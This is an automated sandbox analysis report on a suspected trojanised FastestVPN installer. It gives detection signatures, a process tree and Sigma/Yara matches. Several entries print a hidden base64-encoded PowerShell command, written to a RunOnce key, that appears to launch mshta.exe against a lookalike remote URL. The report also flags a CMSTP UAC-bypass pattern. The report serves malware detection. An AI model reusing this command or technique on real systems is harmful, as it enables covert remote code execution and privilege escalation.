Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
mapMd1URzq.exe

Overview

General Information

Sample name:mapMd1URzq.exe
renamed because original name is a hash value
Original sample name:17926b988b31296c26bf8fcc5be5595f8b290112949cd9314b3ddb51216a9fc6.exe
Analysis ID:1524831
MD5:ff0206612063b4d2b3e2ed6ee9d5eef0
SHA1:d33a31ecdbd673b93cb70f516a57643056931c8b
SHA256:17926b988b31296c26bf8fcc5be5595f8b290112949cd9314b3ddb51216a9fc6
Tags:AciraConsultingIncexeuser-JAMESWT_MHT
Infos:

Detection

Score:54
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious sample detected (through community Yara rule)
Yara detected UAC Bypass using CMSTP
.NET source code contains very large strings
Creates an autostart registry key pointing to binary in C:\Windows
Creates autostart registry keys with suspicious values (likely registry only malware)
Encrypted powershell cmdline option found
Modifies the DNS server
NDIS Filter Driver detected (likely used to intercept and sniff network traffic)
Queries sensitive system registry key value via command line tool
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Uses cmd line tools excessively to alter registry or file data
Uses regedit.exe to modify the Windows registry
Adds / modifies Windows certificates
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to delete services
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read device registry values (via SetupAPI)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates driver files
Creates files inside the driver directory
Creates files inside the system directory
Creates or modifies windows services
Deletes files inside the Windows folder
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops certificate files (DER)
Enables debug privileges
Enables driver privileges
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
May sleep (evasive loops) to hinder dynamic analysis
Modifies existing windows services
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
OS version to string mapping found (often used in BOTs)
One or more processes crash
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries device information via Setup API
Queries disk information (often used to detect virtual machines)
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the installation date of Windows
Queries the product ID of Windows
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: Tap Installer Execution
Stores files to the Windows start menu directory
Stores large binary data to the registry
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • mapMd1URzq.exe (PID: 6064 cmdline: "C:\Users\user\Desktop\mapMd1URzq.exe" MD5: FF0206612063B4D2B3E2ED6EE9D5EEF0)
    • mapMd1URzq.tmp (PID: 5072 cmdline: "C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp" /SL5="$103C6,10597393,735744,C:\Users\user\Desktop\mapMd1URzq.exe" MD5: 259E3EE4646FC251C3513EEF2683479F)
      • cmd.exe (PID: 5368 cmdline: "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\driver\install_tap.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 5292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • reg.exe (PID: 5172 cmdline: reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" MD5: 227F63E1D9008B36BDBCC4B397780BE4)
        • find.exe (PID: 5880 cmdline: find /i "x86" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)
        • cmd.exe (PID: 5712 cmdline: C:\Windows\system32\cmd.exe /c ver MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • tapinstall.exe (PID: 5776 cmdline: tapinstall.exe remove tap0901 MD5: E313336C82EB265542664CC7A360C5FF)
        • tapinstall.exe (PID: 3700 cmdline: tapinstall.exe install OemVista.inf tap0901 MD5: E313336C82EB265542664CC7A360C5FF)
      • cmd.exe (PID: 5648 cmdline: "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\sp\install_sp.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 5192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • sc.exe (PID: 340 cmdline: sc stop fastestvpndriver MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
          • conhost.exe (PID: 6944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • reg.exe (PID: 6860 cmdline: reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" MD5: 227F63E1D9008B36BDBCC4B397780BE4)
        • find.exe (PID: 5164 cmdline: find /i "x86" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)
        • reg.exe (PID: 6292 cmdline: reg QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" MD5: 227F63E1D9008B36BDBCC4B397780BE4)
        • find.exe (PID: 5820 cmdline: find /i "Windows 7" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)
        • xcopy.exe (PID: 5564 cmdline: xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\drivers MD5: 39FBFD3AF58238C6F9D4D408C9251FF5)
        • nfregdrv.exe (PID: 3380 cmdline: release\nfregdrv.exe -u fastestvpndriver MD5: 9333F583E2D32A47276DCEC7C2391FD2)
        • nfregdrv.exe (PID: 6036 cmdline: release\nfregdrv.exe fastestvpndriver MD5: 9333F583E2D32A47276DCEC7C2391FD2)
      • sc.exe (PID: 6272 cmdline: "C:\Windows\system32\sc.exe" stop FastestVPNService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
        • conhost.exe (PID: 3796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • FastestVPN.WindowsService.exe (PID: 2988 cmdline: "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" --uninstall MD5: 22D4E4267DFE093E5E23C2F3D7741AA4)
        • WerFault.exe (PID: 2616 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2988 -s 1076 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • sc.exe (PID: 880 cmdline: "C:\Windows\system32\sc.exe" delete FastestVPNService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
        • conhost.exe (PID: 6868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • FastestVPN.WindowsService.exe (PID: 6460 cmdline: "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" --install MD5: 22D4E4267DFE093E5E23C2F3D7741AA4)
      • subinacl.exe (PID: 6012 cmdline: "C:\Program Files\FastestVPN\subinacl.exe" /service FastestVPNService /GRANT=everyone=TO MD5: 4798226EE22C513302EE57D3AA94398B)
        • conhost.exe (PID: 6408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • sc.exe (PID: 5292 cmdline: "C:\Windows\system32\sc.exe" start FastestVPNService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
        • conhost.exe (PID: 5476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 2724 cmdline: "C:\Windows\system32\cmd.exe" /c regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 3560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • regedit.exe (PID: 6224 cmdline: regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg" MD5: 999A30979F6195BF562068639FFC4426)
      • FastestVPN.exe (PID: 4816 cmdline: "C:\Program Files\FastestVPN\FastestVPN.exe" MD5: 01CF6EF766C41BB2C99A2CCCDECC69C1)
  • svchost.exe (PID: 1812 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • drvinst.exe (PID: 1008 cmdline: DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\oemvista.inf" "9" "4d14a44ff" "0000000000000160" "WinSta0\Default" "0000000000000100" "208" "c:\program files\fastestvpn\resources\driver\windows10\amd64" MD5: 294990C88B9D1FE0A54A1FA8BF4324D9)
    • drvinst.exe (PID: 3040 cmdline: DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.2.601:tap0901," "4d14a44ff" "0000000000000160" MD5: 294990C88B9D1FE0A54A1FA8BF4324D9)
  • svchost.exe (PID: 1088 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • svchost.exe (PID: 6820 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • WerFault.exe (PID: 1460 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2988 -ip 2988 MD5: C31336C1EFC2CCB44B4326EA793040F2)
  • FastestVPN.exe (PID: 3172 cmdline: "C:\Program Files\FastestVPN\FastestVPN.exe" -autorun MD5: 01CF6EF766C41BB2C99A2CCCDECC69C1)
    • powershell.exe (PID: 6320 cmdline: "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 1808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • FastestVPN.WindowsService.exe (PID: 1292 cmdline: "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" MD5: 22D4E4267DFE093E5E23C2F3D7741AA4)
  • svchost.exe (PID: 5256 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • powershell.exe (PID: 1112 cmdline: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAbQBzAGgAdABhAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIA MD5: 04029E121A0CFA5991749937DD22A1D9)
    • conhost.exe (PID: 6928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Program Files\FastestVPN\Resources\is-APR4M.tmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
    C:\Program Files\FastestVPN\Resources\is-APR4M.tmpINDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOMDetects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)ditekSHen
    • 0x339057:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
    • 0x33db63:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
    • 0x3e5f06:$s1: CoGetObject

    Sigma Signatures

    System Summary

    barindex
    Sigma detected: Suspicious Encoded PowerShell Command Line
    Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAbQBzAGgAdABhAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIA, CommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAbQBzAGgAdABhAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIA, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAbQBzAGgAdABhAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIA, ProcessId: 1112, ProcessName: powershell.exe
    Sigma detected: CurrentVersion Autorun Keys Modification
    Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: powershell.exe -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAbQBzAGgAdABhAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIAMAA2AC4AYwBvAG0ALwBsAGEAdQAvAGMAbwBuAGYAaQBnAC4AcABoAHAAJwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A, EventID: 13, EventType: SetValue, Image: C:\Windows\regedit.exe, ProcessId: 6224, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FastestVPNWindowsService
    Sigma detected: Startup Folder File Write
    Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp, ProcessId: 5072, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FastestVPN.lnk
    Sigma detected: Suspicious Copy From or To System Directory
    Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\drivers, CommandLine: xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\drivers, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\xcopy.exe, NewProcessName: C:\Windows\System32\xcopy.exe, OriginalFileName: C:\Windows\System32\xcopy.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\sp\install_sp.bat"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5648, ParentProcessName: cmd.exe, ProcessCommandLine: xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\drivers, ProcessId: 5564, ProcessName: xcopy.exe
    Sigma detected: Suspicious Execution of Powershell with Base64
    Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAbQBzAGgAdABhAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIA, CommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAbQBzAGgAdABhAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIA, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAbQBzAGgAdABhAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIA, ProcessId: 1112, ProcessName: powershell.exe
    Sigma detected: Suspicious Powershell In Registry Run Keys
    Source: Registry Key setAuthor: frack113, Florian Roth (Nextron Systems): Data: Details: powershell.exe -WindowStyle Hidden -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAbQBzAGgAdABhAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGEAcwB0AGUAcwB2AHAAbgAtAHMAMwAtAGUAdQAtAG4AbwByAHQAaAAtADEALgAxADEAOQA4ADIAMAA2AC4AYwBvAG0ALwBsAGEAdQAvAGMAbwBuAGYAaQBnAC4AcABoAHAAJwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A, EventID: 13, EventType: SetValue, Image: C:\Windows\regedit.exe, ProcessId: 6224, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FastestVPNWindowsService
    Sigma detected: Tap Installer Execution
    Source: Process startedAuthor: Daniil Yugoslavskiy, Ian Davis, oscd.community: Data: Command: tapinstall.exe remove tap0901, CommandLine: tapinstall.exe remove tap0901, CommandLine|base64offset|contains: , Image: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe, NewProcessName: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe, OriginalFileName: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\FastestVPN\Resources\driver\install_tap.bat"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5368, ParentProcessName: cmd.exe, ProcessCommandLine: tapinstall.exe remove tap0901, ProcessId: 5776, ProcessName: tapinstall.exe
    Sigma detected: Non Interactive PowerShell Process Spawned
    Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID, CommandLine: "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID, CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Program Files\FastestVPN\FastestVPN.exe" -autorun, ParentImage: C:\Program Files\FastestVPN\FastestVPN.exe, ParentProcessId: 3172, ParentProcessName: FastestVPN.exe, ProcessCommandLine: "powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID, ProcessId: 6320, ProcessName: powershell.exe
    Sigma detected: Windows Processes Suspicious Parent Directory
    Source: Process startedAuthor: vburov: Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall, ProcessId: 1812, ProcessName: svchost.exe

    Suricata Signatures

    ⊘No Suricata rule has matched

    Joe Sandbox Signatures

    Click to jump to signature section

    Show All Signature Results

    Exploits

    barindex
    Yara detected UAC Bypass using CMSTP
    Source: Yara matchFile source: C:\Program Files\FastestVPN\Resources\is-APR4M.tmp, type: DROPPED
    Source: mapMd1URzq.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpWindow detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Terms of ServiceThis is an agreement between you and FastestVPN.com for virtual private network communications services related services and features. It is NOT a service for the commission of criminal acts. It is an anonymity and privacy service. You agree not to violate any laws of any jurisdiction you are originating from or terminating into.You agree to protect your user id/password and our system from unauthorized use. You are responsible for all actions that occur on our servers where the login uses your user id/password.You agree not to use the system for sending spam port scanning scanning for open proxies or open relays sending opt-in email unsolicited email or any type or version of email sent in large quantities even if the email is ultimately sent off of another server. You agree not to launch any pop-ups from our service. You agree not to attack in any way shape or form any other computer or network while on our service.Actual service coverage speeds locations and quality may vary. The Service will attempt to be available at all times except for limited periods for maintenance and repair. However the Service may be subject to unavailability for a variety of factors beyond our control including emergencies third party service failures transmission equipment or network problems or limitations interference signal strength and may be interrupted refused limited or curtailed. We are not responsible for data messages or pages lost not delivered delayed or misdirected because of interruptions or performance issues with the Service or communications services or networks (e.g. T-1 lines or the Internet). We may impose usage or Service limits suspend Service or block certain kinds of usage in our sole discretion to protect users or the Service. Network speed is an estimate and is no indication of the speed at which your or the Service sends or receives data. Actual network speed will vary based on configuration compression network congestion and other factors. The accuracy and timeliness of data received is not guaranteed; delays or omissions may occur.We do not log any user activity (sites visited DNS lookups emails etc.) We only log access attempts to our servers (for security and troubleshooting). We do not get involved in any form of censorship. We do not give your personal info to any third parties. We do not cooperate with any requests for information unless we are ordered by a court of competent jurisdiction and the vast majority of these requests would not be from a court of competent jurisdiction. We will protect you to the max and our system is setup to automatically do so. There are hundreds of good reasons for being anonymous and we respect them fully.Hacking cracking distribution of viruses fraudulent activities network sa
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpWindow detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Terms of ServiceThis is an agreement between you and FastestVPN.com for virtual private network communications services related services and features. It is NOT a service for the commission of criminal acts. It is an anonymity and privacy service. You agree not to violate any laws of any jurisdiction you are originating from or terminating into.You agree to protect your user id/password and our system from unauthorized use. You are responsible for all actions that occur on our servers where the login uses your user id/password.You agree not to use the system for sending spam port scanning scanning for open proxies or open relays sending opt-in email unsolicited email or any type or version of email sent in large quantities even if the email is ultimately sent off of another server. You agree not to launch any pop-ups from our service. You agree not to attack in any way shape or form any other computer or network while on our service.Actual service coverage speeds locations and quality may vary. The Service will attempt to be available at all times except for limited periods for maintenance and repair. However the Service may be subject to unavailability for a variety of factors beyond our control including emergencies third party service failures transmission equipment or network problems or limitations interference signal strength and may be interrupted refused limited or curtailed. We are not responsible for data messages or pages lost not delivered delayed or misdirected because of interruptions or performance issues with the Service or communications services or networks (e.g. T-1 lines or the Internet). We may impose usage or Service limits suspend Service or block certain kinds of usage in our sole discretion to protect users or the Service. Network speed is an estimate and is no indication of the speed at which your or the Service sends or receives data. Actual network speed will vary based on configuration compression network congestion and other factors. The accuracy and timeliness of data received is not guaranteed; delays or omissions may occur.We do not log any user activity (sites visited DNS lookups emails etc.) We only log access attempts to our servers (for security and troubleshooting). We do not get involved in any form of censorship. We do not give your personal info to any third parties. We do not cooperate with any requests for information unless we are ordered by a court of competent jurisdiction and the vast majority of these requests would not be from a court of competent jurisdiction. We will protect you to the max and our system is setup to automatically do so. There are hundreds of good reasons for being anonymous and we respect them fully.Hacking cracking distribution of viruses fraudulent activities network sa
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPNJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\unins000.datJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-U28J4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-S1CTK.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-9JEIB.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-K5QR5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-43KDF.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-1G987.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-1D2AA.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-IKS22.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-V8IR1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-AKR35.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-MLS3U.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-6E016.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-36LHL.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-T8IR5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpDirectory created: C:\Program Files\FastestVPN\is-FI5UV.tmpJump to behavior
